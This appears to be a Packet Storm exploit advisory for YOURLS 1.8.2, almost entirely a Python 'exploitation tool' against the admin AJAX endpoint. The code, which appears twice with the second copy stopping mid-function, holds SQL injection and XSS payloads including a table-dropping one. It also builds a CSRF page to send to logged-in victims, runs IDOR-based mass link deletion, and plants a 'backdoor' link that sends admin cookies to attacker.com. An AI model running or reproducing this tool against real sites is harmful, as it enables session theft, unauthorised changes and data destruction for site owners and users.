7.4
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Description
YOURLS version 1.8.2 AJAX endpoint scanner that checks for cross site request forgery, insecure direct object reference, missing authorization, and missing input validation vulnerabilities...
Basic Information
ID
PACKETSTORM:212540
Published
Dec 8, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : YOURLS 1.8.2 AJAX Endpoint Vulnerabilities |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/yourls/yourls/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212395/ & CVE-2022-0088
[+] Summary : Critical security vulnerabilities in YOURLS /admin/ajax.php endpoint that allow attackers
to perform unauthorized actions, access other users' data, and potentially compromise the entire system.
[+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation
[+] POC : python poc.py
#!/usr/bin/env python3
"""
Author: indoushka
"""
import requests
import json
import sys
import argparse
import hashlib
import re
from urllib.parse import urljoin
from colorama import Fore, Style, init
# Initialize colorama
init(autoreset=True)
class YOURLS_Exploiter:
def __init__(self, target_url, session_cookie=None, csrf_token=None):
self.base_url = target_url.rstrip('/')
self.ajax_url = urljoin(self.base_url, 'admin/ajax.php')
self.session = requests.Session()
if session_cookie:
self.session.headers.update({'Cookie': session_cookie})
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': urljoin(self.base_url, 'admin/')
})
self.csrf_token = csrf_token
self.vulnerabilities = []
def print_banner(self):
banner = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════╗
║ YOURLS AJAX Endpoint Unified Exploitation Tool ║
║ Multiple Vulnerabilities Exploiter ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
print(banner)
def detect_vulnerabilities(self):
"""Detect all potential vulnerabilities"""
print(f"{Fore.CYAN}[*] Scanning for vulnerabilities...{Style.RESET_ALL}")
# Test 1: CSRF Vulnerability
self.test_csrf()
# Test 2: IDOR Vulnerability
self.test_idor()
# Test 3: Missing Input Validation
self.test_input_validation()
# Test 4: Information Disclosure
self.test_info_disclosure()
# Test 5: SQL Injection
self.test_sql_injection()
# Print summary
self.print_summary()
def test_csrf(self):
"""Test for CSRF vulnerability"""
print(f"\n{Fore.YELLOW}[+] Testing CSRF Protection...{Style.RESET_ALL}")
# Try to make a request without CSRF token
test_data = {
'action': 'add',
'url': 'http://test.com',
'keyword': 'test123',
'nonce': 'dummy_nonce'
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=10)
if response.status_code == 200:
try:
resp_json = response.json()
if 'status' in resp_json and resp_json['status'] == 'success':
print(f"{Fore.RED}[!] CSRF VULNERABLE: Action executed without proper CSRF protection{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'CSRF',
'severity': 'High',
'description': 'Actions can be performed without CSRF token validation'
})
else:
print(f"{Fore.GREEN}[-] CSRF protection appears to be working{Style.RESET_ALL}")
except:
print(f"{Fore.YELLOW}[-] Could not parse response{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
def test_idor(self):
"""Test for Insecure Direct Object Reference"""
print(f"\n{Fore.YELLOW}[+] Testing IDOR Vulnerability...{Style.RESET_ALL}")
# First, create a link to get a valid ID
print(f" Step 1: Creating test link...")
create_data = {
'action': 'add',
'url': 'http://victim-test.com',
'keyword': 'victimlink',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=create_data, timeout=10)
if response.status_code == 200:
# Try to access other IDs
print(f" Step 2: Attempting IDOR enumeration...")
for link_id in range(1, 11):
test_data = {
'action': 'delete',
'id': link_id,
'keyword': f'test{link_id}',
'nonce': self.get_nonce(f'delete-link_{link_id}')
}
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
try:
resp_json = response.json()
if 'success' in resp_json and resp_json['success']:
print(f"{Fore.RED}[!] IDOR VULNERABLE: Can delete link ID {link_id}{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'IDOR',
'severity': 'High',
'description': f'Can access/delete link ID {link_id} without ownership verification'
})
break
except:
pass
except Exception as e:
print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
def test_input_validation(self):
"""Test for missing input validation"""
print(f"\n{Fore.YELLOW}[+] Testing Input Validation...{Style.RESET_ALL}")
# Test XSS in URL field
xss_payloads = [
'javascript:alert(document.cookie)',
'data:text/html,<script>alert(1)</script>',
'" onmouseover="alert(1)"',
'<svg onload=alert(1)>'
]
for payload in xss_payloads:
test_data = {
'action': 'add',
'url': payload,
'keyword': f'xss{hashlib.md5(payload.encode()).hexdigest()[:6]}',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
resp_text = response.text.lower()
if 'alert' in resp_text or 'script' in resp_text:
print(f"{Fore.RED}[!] XSS VULNERABLE: Payload accepted - {payload[:30]}...{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'XSS',
'severity': 'Medium',
'description': f'XSS payload accepted: {payload[:50]}'
})
break
except:
pass
# Test SQL Injection
sql_payloads = [
"' OR '1'='1",
"test'; DROP TABLE yourls_url; --",
"1' UNION SELECT 1,2,3,4 --"
]
for payload in sql_payloads:
test_data = {
'action': 'add',
'url': f'http://{payload}.com',
'keyword': f'sql{hashlib.md5(payload.encode()).hexdigest()[:6]}',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if 'sql' in response.text.lower() or 'union' in response.text.lower():
print(f"{Fore.RED}[!] SQL INJECTION POSSIBLE: Payload triggered response{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'SQL Injection',
'severity': 'Critical',
'description': f'SQL payload may be injectable: {payload[:50]}'
})
break
except:
pass
def test_info_disclosure(self):
"""Test for information disclosure"""
print(f"\n{Fore.YELLOW}[+] Testing Information Disclosure...{Style.RESET_ALL}")
# Try to access error messages
test_data = {
'action': 'invalid_action',
'nonce': 'invalid_nonce'
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
# Look for error messages that reveal information
error_indicators = [
'mysql', 'database', 'sql', 'query failed',
'on line', 'stack trace', 'fatal error',
'warning:', 'notice:', 'undefined'
]
for indicator in error_indicators:
if indicator in response.text.lower():
print(f"{Fore.RED}[!] INFO DISCLOSURE: {indicator} found in response{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'Information Disclosure',
'severity': 'Low',
'description': f'Sensitive information disclosed: {indicator}'
})
break
except Exception as e:
pass
def test_sql_injection(self):
"""Test for SQL injection vulnerabilities"""
print(f"\n{Fore.YELLOW}[+] Testing SQL Injection...{Style.RESET_ALL}")
# Time-based SQL injection test
time_payloads = [
("' OR SLEEP(5) --", "MySQL sleep"),
("'; WAITFOR DELAY '00:00:05' --", "MSSQL delay"),
("' AND 1=IF(1=1,SLEEP(5),0) --", "Conditional sleep")
]
for payload, description in time_payloads:
test_data = {
'action': 'add',
'url': f'http://test{payload}.com',
'keyword': f'time{hashlib.md5(payload.encode()).hexdigest()[:6]}',
'nonce': self.get_nonce('add_url')
}
try:
import time
start_time = time.time()
response = self.session.post(self.ajax_url, data=test_data, timeout=10)
end_time = time.time()
if end_time - start_time > 4:
print(f"{Fore.RED}[!] BLIND SQL INJECTION: Time-based delay detected ({description}){Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'Blind SQL Injection',
'severity': 'Critical',
'description': f'Time-based SQLi: {description}'
})
break
except requests.exceptions.Timeout:
print(f"{Fore.RED}[!] BLIND SQL INJECTION: Request timeout ({description}){Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'Blind SQL Injection',
'severity': 'Critical',
'description': f'Timeout on: {description}'
})
break
except:
pass
def get_nonce(self, action):
"""Extract or generate nonce"""
if self.csrf_token:
return self.csrf_token
# Try to extract nonce from admin page
try:
admin_url = urljoin(self.base_url, 'admin/')
response = self.session.get(admin_url, timeout=5)
# Look for nonce in HTML
nonce_patterns = [
r'name="nonce" value="([^"]+)"',
r'nonce=([a-f0-9]+)',
r'nonce:[\'"]([a-f0-9]+)[\'"]'
]
for pattern in nonce_patterns:
matches = re.search(pattern, response.text, re.IGNORECASE)
if matches:
return matches.group(1)
except:
pass
# Return dummy nonce for testing
return 'test_nonce_123'
def print_summary(self):
"""Print vulnerability summary"""
print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] VULNERABILITY SUMMARY{Style.RESET_ALL}")
print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
if not self.vulnerabilities:
print(f"{Fore.GREEN}[+] No vulnerabilities detected{Style.RESET_ALL}")
return
for i, vuln in enumerate(self.vulnerabilities, 1):
color = Fore.RED if vuln['severity'] in ['High', 'Critical'] else Fore.YELLOW
print(f"{color}[{i}] {vuln['name']} ({vuln['severity']}){Style.RESET_ALL}")
print(f" {vuln['description']}")
def exploit_csrf(self, target_url, malicious_url, keyword):
"""Generate CSRF exploit"""
print(f"\n{Fore.RED}[*] Generating CSRF Exploit...{Style.RESET_ALL}")
exploit_html = f"""<!DOCTYPE html>
<html>
<head>
<title>YOURLS CSRF Exploit</title>
</head>
<body>
<h1>CSRF Attack - YOURLS Link Addition</h1>
<form id="csrfForm" action="{self.ajax_url}" method="POST">
<input type="hidden" name="action" value="add">
<input type="hidden" name="url" value="{malicious_url}">
<input type="hidden" name="keyword" value="{keyword}">
<input type="hidden" name="nonce" value="{self.get_nonce('add_url')}">
</form>
<script>
// Auto-submit the form
document.getElementById('csrfForm').submit();
// Alternative: Iframe injection
function stealthSubmit() {{
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.name = 'csrfFrame';
document.body.appendChild(iframe);
var form = document.getElementById('csrfForm');
form.target = 'csrfFrame';
form.submit();
}}
// Uncomment for stealth mode
// window.onload = stealthSubmit;
</script>
<p>If the form doesn't auto-submit, <a href="#" onclick="document.getElementById('csrfForm').submit(); return false;">click here</a>.</p>
</body>
</html>"""
filename = f"csrf_exploit_{keyword}.html"
with open(filename, 'w') as f:
f.write(exploit_html)
print(f"{Fore.GREEN}[+] CSRF exploit saved to: {filename}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] Send this file to victim while they're logged into YOURLS{Style.RESET_ALL}")
return filename
def exploit_idor(self, start_id=1, end_id=100):
"""Exploit IDOR vulnerability to enumerate links"""
print(f"\n{Fore.RED}[*] Exploiting IDOR Vulnerability...{Style.RESET_ALL}")
found_links = []
for link_id in range(start_id, end_id + 1):
# Try to edit display
test_data = {
'action': 'edit_display',
'id': link_id,
'keyword': f'test{link_id}',
'nonce': self.get_nonce(f'edit-link_{link_id}')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
try:
resp_json = response.json()
if 'html' in resp_json and 'keyword' in resp_json['html'].lower():
print(f"{Fore.GREEN}[+] Found link ID {link_id}{Style.RESET_ALL}")
found_links.append({
'id': link_id,
'html': resp_json['html'][:100]
})
except:
if 'keyword' in response.text.lower() or 'url' in response.text.lower():
print(f"{Fore.GREEN}[+] Possible link ID {link_id}{Style.RESET_ALL}")
found_links.append({
'id': link_id,
'response': response.text[:100]
})
except:
pass
if found_links:
print(f"\n{Fore.GREEN}[+] Found {len(found_links)} accessible links{Style.RESET_ALL}")
for link in found_links:
print(f" ID {link['id']}: {link.get('html', link.get('response', 'No data'))}")
return found_links
def mass_link_deletion(self, start_id=1, end_id=50):
"""Mass deletion via IDOR"""
print(f"\n{Fore.RED}[*] Attempting Mass Link Deletion...{Style.RESET_ALL}")
deleted = []
for link_id in range(start_id, end_id + 1):
test_data = {
'action': 'delete',
'id': link_id,
'keyword': f'del{link_id}',
'nonce': self.get_nonce(f'delete-link_{link_id}')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=3)
if response.status_code == 200:
try:
resp_json = response.json()
if 'success' in resp_json and resp_json['success']:
print(f"{Fore.RED}[!] Deleted link ID {link_id}{Style.RESET_ALL}")
deleted.append(link_id)
except:
if 'success' in response.text.lower():
print(f"{Fore.RED}[!] Possibly deleted link ID {link_id}{Style.RESET_ALL}")
deleted.append(link_id)
except:
pass
return deleted
def create_backdoor(self):
"""Create persistent backdoor via XSS or malicious link"""
print(f"\n{Fore.RED}[*] Creating Persistent Backdoor...{Style.RESET_ALL}")
# Create malicious shortened link with XSS
xss_payload = "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"
backdoor_data = {
'action': 'add',
'url': xss_payload,
'keyword': 'admin-panel',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=backdoor_data, timeout=10)
if response.status_code == 200:
print(f"{Fore.GREEN}[+] Backdoor link created: {self.base_url}/admin-panel{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] When admin visits this link, cookies will be sent to attacker{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Failed to create backdoor: {str(e)}{Style.RESET_ALL}")
def main():
parser = argparse.ArgumentParser(
description="YOURLS AJAX Endpoint Exploitation Tool",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Target YOURLS base URL")
parser.add_argument("-c", "--cookie", help="Session cookie (e.g., PHPSESSID=abc123)")
parser.add_argument("-t", "--token", help="CSRF/nonce token")
parser.add_argument("-s", "--scan", action="store_true", help="Scan for vulnerabilities")
parser.add_argument("-x", "--exploit", choices=['csrf', 'idor', 'mass', 'backdoor'], help="Exploit specific vulnerability")
parser.add_argument("--csrf-url", help="URL for CSRF exploit (with --exploit csrf)")
parser.add_argument("--keyword", help="Custom keyword for links")
parser.add_argument("--start-id", type=int, default=1, help="Start ID for IDOR enumeration")
parser.add_argument("--end-id", type=int, default=50, help="End ID for IDOR enumeration")
args = parser.parse_args()
if not args.scan and not args.exploit:
print(f"{Fore.RED}[-] Please specify --scan or --exploit{Style.RESET_ALL}")
return
# Initialize exploiter
exploiter = YOURLS_Exploiter(args.url, args.cookie, args.token)
exploiter.print_banner()
if args.scan:
exploiter.detect_vulnerabilities()
if args.exploit:
if args.exploit == 'csrf':
if not args.csrf_url:
print(f"{Fore.RED}[-] Please specify --csrf-url for CSRF exploit{Style.RESET_ALL}")
return
keyword = args.keyword or f"mal_{hashlib.md5(args.csrf_url.encode()).hexdigest()[:8]}"
exploiter.exploit_csrf(args.url, args.csrf_url, keyword)
elif args.exploit == 'idor':
found = exploiter.exploit_idor(args.start_id, args.end_id)
if found:
print(f"\n{Fore.GREEN}[+] IDOR exploitation complete{Style.RESET_ALL}")
elif args.exploit == 'mass':
confirm = input(f"{Fore.RED}[!] This will attempt to delete multiple links. Continue? (y/n): {Style.RESET_ALL}")
if confirm.lower() == 'y':
deleted = exploiter.mass_link_deletion(args.start_id, args.end_id)
print(f"\n{Fore.RED}[!] Attempted to delete {len(deleted)} links{Style.RESET_ALL}")
elif args.exploit == 'backdoor':
exploiter.create_backdoor()
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : YOURLS 1.8.2 AJAX Endpoint Vulnerabilities |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/yourls/yourls/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212395/ & CVE-2022-0088
[+] Summary : Critical security vulnerabilities in YOURLS /admin/ajax.php endpoint that allow attackers
to perform unauthorized actions, access other users' data, and potentially compromise the entire system.
[+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation
[+] POC : python poc.py
#!/usr/bin/env python3
"""
Author: indoushka
"""
import requests
import json
import sys
import argparse
import hashlib
import re
from urllib.parse import urljoin
from colorama import Fore, Style, init
# Initialize colorama
init(autoreset=True)
class YOURLS_Exploiter:
def __init__(self, target_url, session_cookie=None, csrf_token=None):
self.base_url = target_url.rstrip('/')
self.ajax_url = urljoin(self.base_url, 'admin/ajax.php')
self.session = requests.Session()
if session_cookie:
self.session.headers.update({'Cookie': session_cookie})
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': urljoin(self.base_url, 'admin/')
})
self.csrf_token = csrf_token
self.vulnerabilities = []
def print_banner(self):
banner = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════╗
║ YOURLS AJAX Endpoint Unified Exploitation Tool ║
║ Multiple Vulnerabilities Exploiter ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
print(banner)
def detect_vulnerabilities(self):
"""Detect all potential vulnerabilities"""
print(f"{Fore.CYAN}[*] Scanning for vulnerabilities...{Style.RESET_ALL}")
# Test 1: CSRF Vulnerability
self.test_csrf()
# Test 2: IDOR Vulnerability
self.test_idor()
# Test 3: Missing Input Validation
self.test_input_validation()
# Test 4: Information Disclosure
self.test_info_disclosure()
# Test 5: SQL Injection
self.test_sql_injection()
# Print summary
self.print_summary()
def test_csrf(self):
"""Test for CSRF vulnerability"""
print(f"\n{Fore.YELLOW}[+] Testing CSRF Protection...{Style.RESET_ALL}")
# Try to make a request without CSRF token
test_data = {
'action': 'add',
'url': 'http://test.com',
'keyword': 'test123',
'nonce': 'dummy_nonce'
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=10)
if response.status_code == 200:
try:
resp_json = response.json()
if 'status' in resp_json and resp_json['status'] == 'success':
print(f"{Fore.RED}[!] CSRF VULNERABLE: Action executed without proper CSRF protection{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'CSRF',
'severity': 'High',
'description': 'Actions can be performed without CSRF token validation'
})
else:
print(f"{Fore.GREEN}[-] CSRF protection appears to be working{Style.RESET_ALL}")
except:
print(f"{Fore.YELLOW}[-] Could not parse response{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
def test_idor(self):
"""Test for Insecure Direct Object Reference"""
print(f"\n{Fore.YELLOW}[+] Testing IDOR Vulnerability...{Style.RESET_ALL}")
# First, create a link to get a valid ID
print(f" Step 1: Creating test link...")
create_data = {
'action': 'add',
'url': 'http://victim-test.com',
'keyword': 'victimlink',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=create_data, timeout=10)
if response.status_code == 200:
# Try to access other IDs
print(f" Step 2: Attempting IDOR enumeration...")
for link_id in range(1, 11):
test_data = {
'action': 'delete',
'id': link_id,
'keyword': f'test{link_id}',
'nonce': self.get_nonce(f'delete-link_{link_id}')
}
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
try:
resp_json = response.json()
if 'success' in resp_json and resp_json['success']:
print(f"{Fore.RED}[!] IDOR VULNERABLE: Can delete link ID {link_id}{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'IDOR',
'severity': 'High',
'description': f'Can access/delete link ID {link_id} without ownership verification'
})
break
except:
pass
except Exception as e:
print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
def test_input_validation(self):
"""Test for missing input validation"""
print(f"\n{Fore.YELLOW}[+] Testing Input Validation...{Style.RESET_ALL}")
# Test XSS in URL field
xss_payloads = [
'javascript:alert(document.cookie)',
'data:text/html,<script>alert(1)</script>',
'" onmouseover="alert(1)"',
'<svg onload=alert(1)>'
]
for payload in xss_payloads:
test_data = {
'action': 'add',
'url': payload,
'keyword': f'xss{hashlib.md5(payload.encode()).hexdigest()[:6]}',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
resp_text = response.text.lower()
if 'alert' in resp_text or 'script' in resp_text:
print(f"{Fore.RED}[!] XSS VULNERABLE: Payload accepted - {payload[:30]}...{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'XSS',
'severity': 'Medium',
'description': f'XSS payload accepted: {payload[:50]}'
})
break
except:
pass
# Test SQL Injection
sql_payloads = [
"' OR '1'='1",
"test'; DROP TABLE yourls_url; --",
"1' UNION SELECT 1,2,3,4 --"
]
for payload in sql_payloads:
test_data = {
'action': 'add',
'url': f'http://{payload}.com',
'keyword': f'sql{hashlib.md5(payload.encode()).hexdigest()[:6]}',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if 'sql' in response.text.lower() or 'union' in response.text.lower():
print(f"{Fore.RED}[!] SQL INJECTION POSSIBLE: Payload triggered response{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'SQL Injection',
'severity': 'Critical',
'description': f'SQL payload may be injectable: {payload[:50]}'
})
break
except:
pass
def test_info_disclosure(self):
"""Test for information disclosure"""
print(f"\n{Fore.YELLOW}[+] Testing Information Disclosure...{Style.RESET_ALL}")
# Try to access error messages
test_data = {
'action': 'invalid_action',
'nonce': 'invalid_nonce'
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
# Look for error messages that reveal information
error_indicators = [
'mysql', 'database', 'sql', 'query failed',
'on line', 'stack trace', 'fatal error',
'warning:', 'notice:', 'undefined'
]
for indicator in error_indicators:
if indicator in response.text.lower():
print(f"{Fore.RED}[!] INFO DISCLOSURE: {indicator} found in response{Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'Information Disclosure',
'severity': 'Low',
'description': f'Sensitive information disclosed: {indicator}'
})
break
except Exception as e:
pass
def test_sql_injection(self):
"""Test for SQL injection vulnerabilities"""
print(f"\n{Fore.YELLOW}[+] Testing SQL Injection...{Style.RESET_ALL}")
# Time-based SQL injection test
time_payloads = [
("' OR SLEEP(5) --", "MySQL sleep"),
("'; WAITFOR DELAY '00:00:05' --", "MSSQL delay"),
("' AND 1=IF(1=1,SLEEP(5),0) --", "Conditional sleep")
]
for payload, description in time_payloads:
test_data = {
'action': 'add',
'url': f'http://test{payload}.com',
'keyword': f'time{hashlib.md5(payload.encode()).hexdigest()[:6]}',
'nonce': self.get_nonce('add_url')
}
try:
import time
start_time = time.time()
response = self.session.post(self.ajax_url, data=test_data, timeout=10)
end_time = time.time()
if end_time - start_time > 4:
print(f"{Fore.RED}[!] BLIND SQL INJECTION: Time-based delay detected ({description}){Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'Blind SQL Injection',
'severity': 'Critical',
'description': f'Time-based SQLi: {description}'
})
break
except requests.exceptions.Timeout:
print(f"{Fore.RED}[!] BLIND SQL INJECTION: Request timeout ({description}){Style.RESET_ALL}")
self.vulnerabilities.append({
'name': 'Blind SQL Injection',
'severity': 'Critical',
'description': f'Timeout on: {description}'
})
break
except:
pass
def get_nonce(self, action):
"""Extract or generate nonce"""
if self.csrf_token:
return self.csrf_token
# Try to extract nonce from admin page
try:
admin_url = urljoin(self.base_url, 'admin/')
response = self.session.get(admin_url, timeout=5)
# Look for nonce in HTML
nonce_patterns = [
r'name="nonce" value="([^"]+)"',
r'nonce=([a-f0-9]+)',
r'nonce:[\'"]([a-f0-9]+)[\'"]'
]
for pattern in nonce_patterns:
matches = re.search(pattern, response.text, re.IGNORECASE)
if matches:
return matches.group(1)
except:
pass
# Return dummy nonce for testing
return 'test_nonce_123'
def print_summary(self):
"""Print vulnerability summary"""
print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] VULNERABILITY SUMMARY{Style.RESET_ALL}")
print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
if not self.vulnerabilities:
print(f"{Fore.GREEN}[+] No vulnerabilities detected{Style.RESET_ALL}")
return
for i, vuln in enumerate(self.vulnerabilities, 1):
color = Fore.RED if vuln['severity'] in ['High', 'Critical'] else Fore.YELLOW
print(f"{color}[{i}] {vuln['name']} ({vuln['severity']}){Style.RESET_ALL}")
print(f" {vuln['description']}")
def exploit_csrf(self, target_url, malicious_url, keyword):
"""Generate CSRF exploit"""
print(f"\n{Fore.RED}[*] Generating CSRF Exploit...{Style.RESET_ALL}")
exploit_html = f"""<!DOCTYPE html>
<html>
<head>
<title>YOURLS CSRF Exploit</title>
</head>
<body>
<h1>CSRF Attack - YOURLS Link Addition</h1>
<form id="csrfForm" action="{self.ajax_url}" method="POST">
<input type="hidden" name="action" value="add">
<input type="hidden" name="url" value="{malicious_url}">
<input type="hidden" name="keyword" value="{keyword}">
<input type="hidden" name="nonce" value="{self.get_nonce('add_url')}">
</form>
<script>
// Auto-submit the form
document.getElementById('csrfForm').submit();
// Alternative: Iframe injection
function stealthSubmit() {{
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.name = 'csrfFrame';
document.body.appendChild(iframe);
var form = document.getElementById('csrfForm');
form.target = 'csrfFrame';
form.submit();
}}
// Uncomment for stealth mode
// window.onload = stealthSubmit;
</script>
<p>If the form doesn't auto-submit, <a href="#" onclick="document.getElementById('csrfForm').submit(); return false;">click here</a>.</p>
</body>
</html>"""
filename = f"csrf_exploit_{keyword}.html"
with open(filename, 'w') as f:
f.write(exploit_html)
print(f"{Fore.GREEN}[+] CSRF exploit saved to: {filename}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] Send this file to victim while they're logged into YOURLS{Style.RESET_ALL}")
return filename
def exploit_idor(self, start_id=1, end_id=100):
"""Exploit IDOR vulnerability to enumerate links"""
print(f"\n{Fore.RED}[*] Exploiting IDOR Vulnerability...{Style.RESET_ALL}")
found_links = []
for link_id in range(start_id, end_id + 1):
# Try to edit display
test_data = {
'action': 'edit_display',
'id': link_id,
'keyword': f'test{link_id}',
'nonce': self.get_nonce(f'edit-link_{link_id}')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=5)
if response.status_code == 200:
try:
resp_json = response.json()
if 'html' in resp_json and 'keyword' in resp_json['html'].lower():
print(f"{Fore.GREEN}[+] Found link ID {link_id}{Style.RESET_ALL}")
found_links.append({
'id': link_id,
'html': resp_json['html'][:100]
})
except:
if 'keyword' in response.text.lower() or 'url' in response.text.lower():
print(f"{Fore.GREEN}[+] Possible link ID {link_id}{Style.RESET_ALL}")
found_links.append({
'id': link_id,
'response': response.text[:100]
})
except:
pass
if found_links:
print(f"\n{Fore.GREEN}[+] Found {len(found_links)} accessible links{Style.RESET_ALL}")
for link in found_links:
print(f" ID {link['id']}: {link.get('html', link.get('response', 'No data'))}")
return found_links
def mass_link_deletion(self, start_id=1, end_id=50):
"""Mass deletion via IDOR"""
print(f"\n{Fore.RED}[*] Attempting Mass Link Deletion...{Style.RESET_ALL}")
deleted = []
for link_id in range(start_id, end_id + 1):
test_data = {
'action': 'delete',
'id': link_id,
'keyword': f'del{link_id}',
'nonce': self.get_nonce(f'delete-link_{link_id}')
}
try:
response = self.session.post(self.ajax_url, data=test_data, timeout=3)
if response.status_code == 200:
try:
resp_json = response.json()
if 'success' in resp_json and resp_json['success']:
print(f"{Fore.RED}[!] Deleted link ID {link_id}{Style.RESET_ALL}")
deleted.append(link_id)
except:
if 'success' in response.text.lower():
print(f"{Fore.RED}[!] Possibly deleted link ID {link_id}{Style.RESET_ALL}")
deleted.append(link_id)
except:
pass
return deleted
def create_backdoor(self):
"""Create persistent backdoor via XSS or malicious link"""
print(f"\n{Fore.RED}[*] Creating Persistent Backdoor...{Style.RESET_ALL}")
# Create malicious shortened link with XSS
xss_payload = "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"
backdoor_data = {
'action': 'add',
'url': xss_payload,
'keyword': 'admin-panel',
'nonce': self.get_nonce('add_url')
}
try:
response = self.session.post(self.ajax_url, data=backdoor_data, timeout=10)
if response.status_code == 200:
print(f"{Fore.GREEN}[+] Backdoor link created: {self.base_url}/admin-panel{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[*] When admin visits this link, cookies will be sent to attacker{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Failed to create backdoor: {str(e)}{Style.RESET_ALL}")
def main():
parser = argparse.ArgumentParser(
description="YOURLS AJAX Endpoint Exploitation Tool",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Target YOURLS base URL")
parser.add_argument("-c", "--cookie", help="Session cookie (e.g., PHPSESSID=abc123)")
parser.add_argument("-t", "--token", help="CSRF/nonce token")
parser.add_argument("-s", "--scan", action="store_true", help="Scan for vulnerabilities")
parser.add_argument("-x", "--exploit", choices=['csrf', 'idor', 'mass', 'backdoor'], help="Exploit specific vulnerability")
parser.add_argument("--csrf-url", help="URL for CSRF exploit (with --exploit csrf)")
parser.add_argument("--keyword", help="Custom keyword for links")
parser.add_argument("--start-id", type=int, default=1, help="Start ID for IDOR enumeration")
parser.add_argument("--end-id", type=int, default=50, help="End ID for IDOR enumeration")
args = parser.parse_args()
if not args.scan and not args.exploit:
print(f"{Fore.RED}[-] Please specify --scan or --exploit{Style.RESET_ALL}")
return
# Initialize exploiter
exploiter = YOURLS_Exploiter(args.url, args.cookie, args.token)
exploiter.print_banner()
if args.scan:
exploiter.detect_vulnerabilities()
if args.exploit:
